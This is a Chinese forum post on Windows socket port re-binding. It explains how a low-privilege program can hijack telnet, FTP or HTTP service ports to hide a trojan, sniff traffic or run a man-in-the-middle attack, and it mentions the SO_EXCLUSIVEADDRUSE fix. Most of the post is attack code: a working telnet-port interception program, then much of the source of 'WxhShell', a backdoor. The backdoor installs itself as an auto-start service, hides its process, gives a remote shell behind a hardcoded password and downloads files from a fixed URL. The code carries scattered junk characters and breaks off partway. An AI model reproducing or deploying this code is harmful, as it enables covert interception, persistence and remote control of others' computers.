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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7Kf}O6nE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1S$h<RIPAc  
C3VLV&wF  
  saddr.sin_family = AF_INET; vR>o}%`  
$-vo}k%M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *P2[qhP2  
o a<q/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4MW ]EQ-  
{6 .o=EyM{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 onte&Ed\  
hu5!ev2  
  这意味着什么?意味着可以进行如下的攻击: !/I0i8T  
xxa} YIe8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @CQb[!9C  
Z=+03  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Cg!^S(U4  
GAEO$e:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MZv\ C  
r;qzo .  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :w-`PY J%G  
;D2E_!N dt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8_we: 9A  
3071:W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;Zut@z4\  
g9mG`f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K5"sj|d&  
;")A{tX2  
  #include O/OiQ^T  
  #include 8+'C_t/0i  
  #include ``QHG&$ /  
  #include    GJQc!cqk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   BzbDZV  
  int main() ,Og4 ?fS  
  { rVryt<2:@r  
  WORD wVersionRequested; *\XH+/]+  
  DWORD ret; sbsu(Sz+  
  WSADATA wsaData; .y4&rF$n  
  BOOL val; i|$z'HK;+  
  SOCKADDR_IN saddr; zlf} .  
  SOCKADDR_IN scaddr; Cmd329AH  
  int err; @}LZ! y  
  SOCKET s; _sMs}?^  
  SOCKET sc; FJS'G^  
  int caddsize; +m$5a YX  
  HANDLE mt; `T WN^0!]  
  DWORD tid;   YUkud2,j  
  wVersionRequested = MAKEWORD( 2, 2 ); Z=$  T1|  
  err = WSAStartup( wVersionRequested, &wsaData ); e<\<,)9@/  
  if ( err != 0 ) { x8N|($1  
  printf("error!WSAStartup failed!\n"); t/p $  
  return -1; Ex(3D[WmMW  
  } +]!lS7nsW  
  saddr.sin_family = AF_INET; d#_m.j  
   lF4u{B9DM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D-ADv3E,  
M'5 'O;kn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +V8b  
  saddr.sin_port = htons(23); hKe30#:v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9'KonW  
  { d>i13d AI  
  printf("error!socket failed!\n"); k`YYZt]@  
  return -1; : d' 5O8  
  } > J>V% 7  
  val = TRUE; X[hM8G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SgM.B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !`wW_W  
  { pB01J<@m  
  printf("error!setsockopt failed!\n"); aW;aA'!  
  return -1;  tFh|V pB  
  } u<Xog$esu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YD_]!HK}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0D [@u3W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <d7xt* 4  
D3]BTkMMS;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bXdY\&fE  
  { wGLF%;rRe4  
  ret=GetLastError(); q)I|2~Q c^  
  printf("error!bind failed!\n"); e3(<8]`b[  
  return -1; R}{GwbF_\  
  } %$mjJw<|&  
  listen(s,2); ?pwE0N^  
  while(1) x>3@R0A 1:  
  { K0fv( !r{  
  caddsize = sizeof(scaddr); ])T/sO#'  
  //接受连接请求 bBE+jqi 2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); optBA3@e!  
  if(sc!=INVALID_SOCKET) r"_Y3SxxL  
  { C{m&}g`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i0Pn Z J  
  if(mt==NULL) OyVm(%Z   
  { ZK dh%8C  
  printf("Thread Creat Failed!\n"); Z^_>A)<s<  
  break; J!p<oW)a!  
  } I:;+n^N?  
  } `,#!C`E 9  
  CloseHandle(mt); ZBM!MSf:  
  } MCy~@)-IN  
  closesocket(s); e}"wL g]  
  WSACleanup(); u''BP.Y S  
  return 0; P. V\ov7m2  
  }   +R\~3uj[7  
  DWORD WINAPI ClientThread(LPVOID lpParam) !Q)3-u  
  { z`#_F}v,m/  
  SOCKET ss = (SOCKET)lpParam; 9g@NcJ]  
  SOCKET sc; KwFXB  
  unsigned char buf[4096]; 3,$iG e  
  SOCKADDR_IN saddr; Q[_Ni15  
  long num; 2d&^Sp&11  
  DWORD val; pVG>A&4  
  DWORD ret; GX38~pq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pxplWP,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YFvgz.>QE  
  saddr.sin_family = AF_INET; ScJu_A f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j|4tiv>  
  saddr.sin_port = htons(23); Vy;_GfT$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yq6LH   
  { ^ f{qJ[,  
  printf("error!socket failed!\n"); }x0Z( `  
  return -1; pqfT\Kb>  
  } X_?%A54z?  
  val = 100; i./Y w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *k6$   
  { RKk"  
  ret = GetLastError(); l?/gW D^  
  return -1; +Ag#B*   
  } NDo^B7 R-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ar5JP_M`E  
  { <PQRd  
  ret = GetLastError(); V"g~q?@F  
  return -1; Y[,U_GX/R  
  } 7b,AQ9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ? ,V;f2c  
  { g TD%4V  
  printf("error!socket connect failed!\n"); u[J7Y  
  closesocket(sc); ~ i'C/[P  
  closesocket(ss); LOt#1Qv  
  return -1; a;yV#Y  
  } .lG +a!)  
  while(1) `#<eA*^g5  
  { gyg|Tno  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8fEAYRGd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )#mW7m9M#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x"!#_0TT}  
  num = recv(ss,buf,4096,0); >oB ?  
  if(num>0) 98ayA$  
  send(sc,buf,num,0); <H_LFrB$W  
  else if(num==0) C }bPv +t  
  break; LA>dkPB  
  num = recv(sc,buf,4096,0); 8ZzU^x  
  if(num>0) ;pCG9  
  send(ss,buf,num,0); *<;&>w8  
  else if(num==0) YFAnlqC  
  break; &U8 54  
  } m(h/:JZ\  
  closesocket(ss); tUn&z?7bF  
  closesocket(sc); WVsK rFZT  
  return 0 ; &a~L_`\'  
  } oRV] p  
_i#@t7  
^>t-v  
========================================================== UU-v;_oP  
}]Qmt5'NI  
下边附上一个代码,,WXhSHELL Ho:}Bn g  
VQ/ <09e  
========================================================== =/M$ <+  
Zu)i+GeG  
#include "stdafx.h" )3+xsnv  
|ORmS& 7  
#include <stdio.h> U3(L.8(sA  
#include <string.h> {8ld:ZP  
#include <windows.h> $Cut  
#include <winsock2.h> G >I.  
#include <winsvc.h> 5Q2TT $P  
#include <urlmon.h> K7n;Zb:BR  
vK[v eFH  
#pragma comment (lib, "Ws2_32.lib") g%Th_=qy  
#pragma comment (lib, "urlmon.lib") _ +0uju?o}  
xF2f/y   
#define MAX_USER   100 // 最大客户端连接数 \5j22L9S  
#define BUF_SOCK   200 // sock buffer l;"ub^AH  
#define KEY_BUFF   255 // 输入 buffer ghE?8&@ iq  
 -fx(H+  
#define REBOOT     0   // 重启 v3iDh8.__  
#define SHUTDOWN   1   // 关机 !W(/Y9g#  
gs^UR6 D,  
#define DEF_PORT   5000 // 监听端口 ft*G*.0kO  
dn:|m^<)  
#define REG_LEN     16   // 注册表键长度 g: H[#I  
#define SVC_LEN     80   // NT服务名长度 !nZI? z;  
s8/ozaeo  
// 从dll定义API GN}9$:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )x9nED{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ae,2Xi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^D>/wX\u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i2\\!s  
o3(|FN  
// wxhshell配置信息 &@`H^8  
struct WSCFG { q/aL8V<"z  
  int ws_port;         // 监听端口 =1uj1.h  
  char ws_passstr[REG_LEN]; // 口令 ; HR\R  
  int ws_autoins;       // 安装标记, 1=yes 0=no g,{Ei]$>I  
  char ws_regname[REG_LEN]; // 注册表键名 hx2!YNx !  
  char ws_svcname[REG_LEN]; // 服务名 ^*4(JR   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oeRYyJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :&\E\9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T`(;;%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SIyS.!k>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )PLc+J.I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xu\/]f)  
 9\W5   
}; AQ_#uxI'oa  
8B% O%*5`  
// default Wxhshell configuration SFm.<^6  
struct WSCFG wscfg={DEF_PORT, F#3$p$;B$  
    "xuhuanlingzhe", $`+~QR!h  
    1, da7x 1n$D  
    "Wxhshell", R4K eUn"  
    "Wxhshell", N5I W@?4  
            "WxhShell Service", u3ri6Y`  
    "Wrsky Windows CmdShell Service", !x!L&p  
    "Please Input Your Password: ", rg]A_(3Bb  
  1, t]YLt ,  
  "http://www.wrsky.com/wxhshell.exe", /:c,v-  
  "Wxhshell.exe" P\G C8KV]  
    }; jP{]LJ2.6\  
E&Zx]?~  
// 消息定义模块 V'BZ=.=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CI3_lWax%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]|\>O5eeu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; / hj9Q!  
char *msg_ws_ext="\n\rExit."; 2%No>w}/2  
char *msg_ws_end="\n\rQuit."; HT;QepY3  
char *msg_ws_boot="\n\rReboot..."; e]y=]}A3{  
char *msg_ws_poff="\n\rShutdown..."; &rtz&}ZB;  
char *msg_ws_down="\n\rSave to "; aDJjVD  
=S7C(;=4  
char *msg_ws_err="\n\rErr!"; OuJ y$e  
char *msg_ws_ok="\n\rOK!"; i?s&\3--Y  
o dQ&0d  
char ExeFile[MAX_PATH]; yl]Cm?8  
int nUser = 0; w<^2h}5  
HANDLE handles[MAX_USER]; t2%bHIG}  
int OsIsNt; n<(5B|~y  
a(t<eN>b!  
SERVICE_STATUS       serviceStatus; J hq5G"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tFP;CW!E  
QBT-J`Pz  
// 函数声明 ?ia[KLt"  
int Install(void); 9g,L1 W*  
int Uninstall(void); {m*J95[   
int DownloadFile(char *sURL, SOCKET wsh); v lnUN  
int Boot(int flag); SvpTs  
void HideProc(void); j*lWi0Z-  
int GetOsVer(void); Sy7^;/(ZZ  
int Wxhshell(SOCKET wsl); ^=M(K''  
void TalkWithClient(void *cs); |k9j )Hg(  
int CmdShell(SOCKET sock); Ta5iY }  
int StartFromService(void); vWfef~}~  
int StartWxhshell(LPSTR lpCmdLine); aNf3 R;*  
lNnbd?D8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IXk'?9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T%vbD*nt.  
vWU4ZBT8G  
// 数据结构和表定义 thboHPml{  
SERVICE_TABLE_ENTRY DispatchTable[] = o_+Qer=O6  
{ d:WhP_rK9  
{wscfg.ws_svcname, NTServiceMain}, K OHH74}_  
{NULL, NULL} iKTU28x  
}; \}Kp=8@nE  
+P;D}1B#I?  
// 自我安装 &7nfTc  
int Install(void) V \ 8 5  
{ z:,!yU c  
  char svExeFile[MAX_PATH]; #AnSjl  
  HKEY key; u5|e9(J  
  strcpy(svExeFile,ExeFile); 4sgwQ$m)  
J]YN2{(x  
// 如果是win9x系统,修改注册表设为自启动 ^\9G{}VY  
if(!OsIsNt) { 5} aC'j\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VNot4 62L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P`v~L;f  
  RegCloseKey(key); @*{BX~f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L2A#OZZu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zt%Fvn4/pF  
  RegCloseKey(key); C)kQi2T  
  return 0; vrDRSc6_  
    } 0'oT {iN  
  } [|Pe'?zkf  
} Q 8E~hgO  
else { 2= mD  
UAO#$o(  
// 如果是NT以上系统,安装为系统服务 Vb#@o)z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \+A<s,x  
if (schSCManager!=0) G{Q'N04RA  
{ / kGX 6hh  
  SC_HANDLE schService = CreateService o/ 5 Fg>d  
  ( z1 px^#  
  schSCManager, VMXXBa&  
  wscfg.ws_svcname, *G=AhH$t  
  wscfg.ws_svcdisp, H)+kN'J  
  SERVICE_ALL_ACCESS, B.WkHY%/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q^Z}Y~.  
  SERVICE_AUTO_START, dEL"(e#0s4  
  SERVICE_ERROR_NORMAL, _q$ fw&  
  svExeFile, /)|y+<E]}  
  NULL, ( %!R  
  NULL, O+J;Hp;\_  
  NULL, E e&$9 )t  
  NULL, C^tC} n1D(  
  NULL DyZ90]N  
  ); eP?|U.on  
  if (schService!=0) i% lB U 1  
  { \ChcJth@o<  
  CloseServiceHandle(schService); d(Ou\7  
  CloseServiceHandle(schSCManager); [{*#cr f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QD~ `UJe>  
  strcat(svExeFile,wscfg.ws_svcname); bb/MnhB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }YO}LQ-|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qd?P[xm  
  RegCloseKey(key); ,;18:  
  return 0; vm4oaVi  
    } G#v7-&Yl6  
  } !W7ekPnK  
  CloseServiceHandle(schSCManager); d:''qgz`  
} Us5 JnP5  
} K_}a cU  
Nb1lawC  
return 1; |VL,\&7rk  
} ZZ5yu* &  
CcTJCuOS  
// 自我卸载 b1 cd5  
int Uninstall(void) ?_r"Fg;"  
{ KK?~i[aL  
  HKEY key; 5KSsRq/8"  
5P!17.W'u  
if(!OsIsNt) { QPEv@laM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ='j  
  RegDeleteValue(key,wscfg.ws_regname); j@2 hI,+  
  RegCloseKey(key); t;'.D @  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x{}m)2[Y  
  RegDeleteValue(key,wscfg.ws_regname); CmZ?uo+Y  
  RegCloseKey(key); _p.{|7  
  return 0; Zn/ /u<D  
  } 9[*kpMC  
} 3a0C<hW  
} iC]}M  
else { 4$"Lf'sH6  
g:g>;" B O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 49m/UeNZ  
if (schSCManager!=0) d?mdw ?|  
{ !QovpO">z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?8 F7BS4oQ  
  if (schService!=0) /Kvb$]F+!  
  { QI- 3m qL  
  if(DeleteService(schService)!=0) { rdRX  
  CloseServiceHandle(schService); v\c3=DbO  
  CloseServiceHandle(schSCManager); )+G(4eIT  
  return 0; i/L1KiCLx  
  } %WNy=V9txp  
  CloseServiceHandle(schService); <5q}j-Q  
  } d~8Q)"6 [  
  CloseServiceHandle(schSCManager); lVdExR>H  
} w~9gZ&hdp  
} 9HE)!Col  
/dqKFxB1  
return 1; 0)B+ :  
} @lX)dY  
'e)t+  
// 从指定url下载文件 ?9mY #_Of  
int DownloadFile(char *sURL, SOCKET wsh) Xw%z#6l  
{ DF~w20+  
  HRESULT hr; ,y.0 Cb0  
char seps[]= "/"; %lPP1 R  
char *token; 0ePZxOSjD  
char *file; `y\:3bQ4  
char myURL[MAX_PATH]; ihnM`TpMJ  
char myFILE[MAX_PATH]; ObCwWj^qO  
m^7pbJ\|  
strcpy(myURL,sURL); t*x;{{jL#(  
  token=strtok(myURL,seps); "hvw2lyp3  
  while(token!=NULL) jmIP c3O0  
  { _D:/?=y;e  
    file=token; !|!V}O  
  token=strtok(NULL,seps); -[F^~Gv|;  
  } Cw_<t  
T:ck/:ZH  
GetCurrentDirectory(MAX_PATH,myFILE); 3FdoADe{{  
strcat(myFILE, "\\"); li{_biey}  
strcat(myFILE, file); *M*k-Z':.*  
  send(wsh,myFILE,strlen(myFILE),0); #GF1MFkoS  
send(wsh,"...",3,0); B}(YD;7vJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); exhF5,AW|K  
  if(hr==S_OK) mVkn~LD:0  
return 0; M3Z yf  
else Y /+ D4^ L  
return 1; aX|`G]PhdI  
23=;v@  
} TKE)NIa  
}PXWRv.gW  
// 系统电源模块 a'\`Mi@rb  
int Boot(int flag) 2PC4EjkC  
{ "7 l}X{b  
  HANDLE hToken; d+^;kse  
  TOKEN_PRIVILEGES tkp; I;7{b\t Q  
cO8;2u,Gvi  
  if(OsIsNt) { ;?&;I!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BoXCc"q[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J+TYm%A;-  
    tkp.PrivilegeCount = 1; VTHDGBU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o ZAjta_4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2P|-V};9  
if(flag==REBOOT) { ^_oLhNoez2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &M2x`  
  return 0; BgRiJFa.d[  
} Bj2rA.M  
else { b,'./{c0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nQ+{1 C  
  return 0; |gaZq!l  
} we@bq,\w  
  } 52~k:"c  
  else { Bm?Ku7}.  
if(flag==REBOOT) { qM`SN4C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gK>Vm9rO  
  return 0; C]`Y PM5  
} XyIw5 9  
else { #K[ @$BY:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v6r w.  
  return 0; Nr)(&c8  
} 4[#.N 3Y4*  
}  2O  
|N g[^  
return 1; 51&T`i  
} UOY1^wY  
8}0 D?  
// win9x进程隐藏模块 qkEy$[D9  
void HideProc(void) ;~K($_#H  
{ D9Z5g3s7R  
9+/|sU\.%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iO@wqbg$6  
  if ( hKernel != NULL ) W6PGv1iaW>  
  { ( r O j,D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B^qB6:\t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aZ^lI 6@+4  
    FreeLibrary(hKernel); V]AL'}( 0  
  } H0HYb\TX?  
X*~YCF[_  
return; 9f @)EKBK  
} 3k/Mig T  
7%'<}u  
// 获取操作系统版本 $X?V_K;9/  
int GetOsVer(void) .jKO 6f  
{ }>w; +XU  
  OSVERSIONINFO winfo; l\5 NuCgRY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8ah]D  
  GetVersionEx(&winfo); "&%Hb's  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r3kI'I|bq  
  return 1; lD pi1]2  
  else V;V9_qP,  
  return 0; $Yka\tS'  
} %F~ dmA#:  
#&Ee5xM=  
// 客户端句柄模块 Nm~#$orI|  
int Wxhshell(SOCKET wsl) p5KNqqZZ  
{ l0_V-|x  
  SOCKET wsh; N_<n$3P\?f  
  struct sockaddr_in client; cG?266{g  
  DWORD myID; 9V&LJhDQ  
UOwNcY  
  while(nUser<MAX_USER) U`Zn*O~/  
{ %c0;Bb-  
  int nSize=sizeof(client); `FwAlYJK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mm8O  
  if(wsh==INVALID_SOCKET) return 1; _X[c19q  
F0\ry "(t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;vitg"Zh>  
if(handles[nUser]==0) lg1D>=(mY  
  closesocket(wsh); D\R^*k@V  
else H/$q]i*#K  
  nUser++; m%&B4E#3T  
  } }#J}8.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %vXQ Sz  
7L*`nU|h  
  return 0; 9m6j?CFG}  
} ~'3% Qr  
q4{tH  
// 关闭 socket U&R$(k0zS  
void CloseIt(SOCKET wsh) _HsvF[\[  
{ vknFtpx  
closesocket(wsh); Ox Z:5ps  
nUser--; 6ZBD$1$A!  
ExitThread(0); .Q@"];wH  
} R{_IrYk  
ny={V*m  
// 客户端请求句柄 Q_.Fw\l$`  
void TalkWithClient(void *cs) (#]KjpIK  
{  4&D="GA  
{9 O`/|  
  SOCKET wsh=(SOCKET)cs; qgNK!(kWpr  
  char pwd[SVC_LEN]; x(=x;X$[^  
  char cmd[KEY_BUFF]; I.!/R`  
char chr[1]; Vm.@qO*=  
int i,j; JuSS5_&  
=L%3q<]p  
  while (nUser < MAX_USER) { 3G^Ed)JvE  
99K+7G\{  
if(wscfg.ws_passstr) { m{c#cR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]?{lQ0vw'w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MFuI&u!g:  
  //ZeroMemory(pwd,KEY_BUFF); Ck?:8YlF  
      i=0; Ah {pidUx  
  while(i<SVC_LEN) { kB#vh  
L0tKIpk  
  // 设置超时 yan[{h]EZ  
  fd_set FdRead; p)xI5,b$9  
  struct timeval TimeOut; j*d~h$[k  
  FD_ZERO(&FdRead); {LHe 6#  
  FD_SET(wsh,&FdRead); EG4bFmcs  
  TimeOut.tv_sec=8; <9a_wGs  
  TimeOut.tv_usec=0; ]xEE7H]\h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E2'e}RQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TZNgtR{q  
: "te-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yMl'1W  
  pwd=chr[0]; a] =\h'S  
  if(chr[0]==0xd || chr[0]==0xa) { 9dtGqXX  
  pwd=0; _x 6E_i-(  
  break; NqE7[wH  
  } Gj`Y2X2r  
  i++; k<zGrq=8J  
    } tkqBCKpDa  
D*'M^k|1  
  // 如果是非法用户,关闭 socket O)%kl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2%C5P0;QX  
} '8kjTf#g<l  
a<jE 25t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z !25xqNCd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ugCS &  
np\2sa`  
while(1) { Bi :wP/>v  
a& aPBv1  
  ZeroMemory(cmd,KEY_BUFF); K6*UFO4}i  
.L5*E(<K0  
      // 自动支持客户端 telnet标准   A2:){`Mw  
  j=0; |4> r"  
  while(j<KEY_BUFF) { s8Ry}{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;AGs1j  
  cmd[j]=chr[0]; *R\/#Y|  
  if(chr[0]==0xa || chr[0]==0xd) { k.xv+^b9Q  
  cmd[j]=0; G<-9U}~76  
  break; ^Z4q1i)JO  
  } ph12x: @B  
  j++; p/WH#4Xdr  
    } NQiecxvt=  
xCp+<|1   
  // 下载文件 1;:t~Y  
  if(strstr(cmd,"http://")) { 4IP\iw#w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z++Z@J"  
  if(DownloadFile(cmd,wsh)) >+jbMAYSq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eIUuq&(  
  else UG"6RW @  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +.(}u ,:8  
  } !P60[*>  
  else { 7hF,gl5  
3pTS@  
    switch(cmd[0]) { .W@4vrp@  
  Pm#x?1rAj  
  // 帮助 Y = g>r]2  
  case '?': { }y-;>i#m=g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e8ULf~I  
    break; ,hTwNVWI9  
  } `mKlv~$1^  
  // 安装 uO_,n  
  case 'i': { p17|ld`  
    if(Install()) y@kcXlY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )`s;~_ZZ  
    else Cb )=n6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +\k9w.[:/  
    break; wj#J>C2]  
    } 4kaE}uKU  
  // 卸载 6R-C0_'h  
  case 'r': { GcZM+c  
    if(Uninstall()) }c35FM,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J)$&z*!  
    else 4j. |Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j(Fa=pi  
    break; 9QC"Od9H  
    } rb *C-NutE  
  // 显示 wxhshell 所在路径 A#Q0{z@H  
  case 'p': { 1Nl&4YLO  
    char svExeFile[MAX_PATH]; @)OnIQN~  
    strcpy(svExeFile,"\n\r"); ;w+:8<mM}a  
      strcat(svExeFile,ExeFile); to!mz\F  
        send(wsh,svExeFile,strlen(svExeFile),0); BN\fv,  
    break; u\()E|?p  
    } } g3HoFC  
  // 重启 x1m8~F  
  case 'b': { 4Q$j]U&b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I;kf #nvao  
    if(Boot(REBOOT)) B@cJ\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z7/vrME6  
    else { rPiiC/T.`  
    closesocket(wsh); Y]+e  Df  
    ExitThread(0); :SQDqG   
    } Exep+x-  
    break; |`_ <@b  
    } @9_nwf~X4  
